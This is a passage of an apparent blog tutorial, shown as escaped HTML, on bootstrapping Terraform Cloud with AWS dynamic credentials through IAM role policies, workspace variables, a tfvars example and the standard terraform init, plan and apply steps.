style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent-access-policy\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Access policy for the TFC agent\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  policy\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_iam_policy_document\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_role_policy_attachment\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-access-attach\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  role\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_iam_role\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  policy_arn\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_iam_policy\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003earn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_workspace\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"workspaces\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  count\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003elength\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces[count\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eindex]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  organization\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_organization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  working_directory\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces[count\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eindex]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e/* These variables tell the agent to use dynamic credentials */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_variable\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-auth\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  count\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003elength\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  key\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"TFC_AWS_PROVIDER_AUTH\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  value\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  category\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"env\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  workspace_id\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_workspace\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eworkspaces[count\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eindex]\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Enable dynamic auth on the TFC agents\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_variable\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-role\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  count\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003elength\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  key\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"TFC_AWS_RUN_ROLE_ARN\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  value\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_iam_role\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003earn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  category\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"env\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  workspace_id\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_workspace\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eworkspaces[count\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eindex]\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Tell TFC what Role to run as\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis module is dynamic because there is one piece that will require a\nmanual oauth setup for github.  So the first pass will apply without it\nand then later on we'll create it and run the apply again.\u003c/p\u003e\n\u003ch2\u003eApplying the changes\u003c/h2\u003e\n\u003cp\u003eNow we just need to define our settings for the module and we'll get our\ninfrastructure applied.  Create a file called \u003ccode\u003esettings.auto.tfvars\u003c/code\u003e and\npopulate it with the content for your account.  This is an example of what\nthis should look like:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_organization_name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_organization_owner\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"john@sontek.net\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e# The workspaces you want to create and be able to manage with IaC\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e# this can be your username\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_organization\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_repo_name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sontek-infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_root_account_id\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"888888888888\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einit\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand you should see:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eTerraform has been successfully initialized!\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow lets run our plan:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e❯ terraform plan\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou should see a result:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ePlan: 10 to add, 0 to change, 0 to destroy.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eApply it to make those resources:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e❯ terraform apply\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eAt this point it:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eCreated a terraform cloud organization\u003c/li\u003e\n\u003cli\u003eCreated a terraform cloud workspace\u003c/li\u003e\n\u003cli\u003eCreated a git repository\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1\u003eVerify TFC can talk to AWS\u003c/h1\u003e\n\u003cp\u003eTo verify that TFC can communicate with AWS through the dynamic credentials,\nlets clone the \u003cem\u003eNEW\u003c/em\u003e repository we just generated and make some dummy resources. After\nyou've cloned the repository lets make a folder for the workspace \u003ccode\u003eroot\u003c/code\u003e that we\ndefined in bootstrap:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emkdir\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecd\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow create a \u003ccode\u003e1-providers.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ecloud\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    organization\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eworkspaces\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003erequired_providers\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    aws\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      source  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"hashicorp/aws\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"4.58.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    tfe\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      source  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"hashicorp/tfe\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"0.42.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan 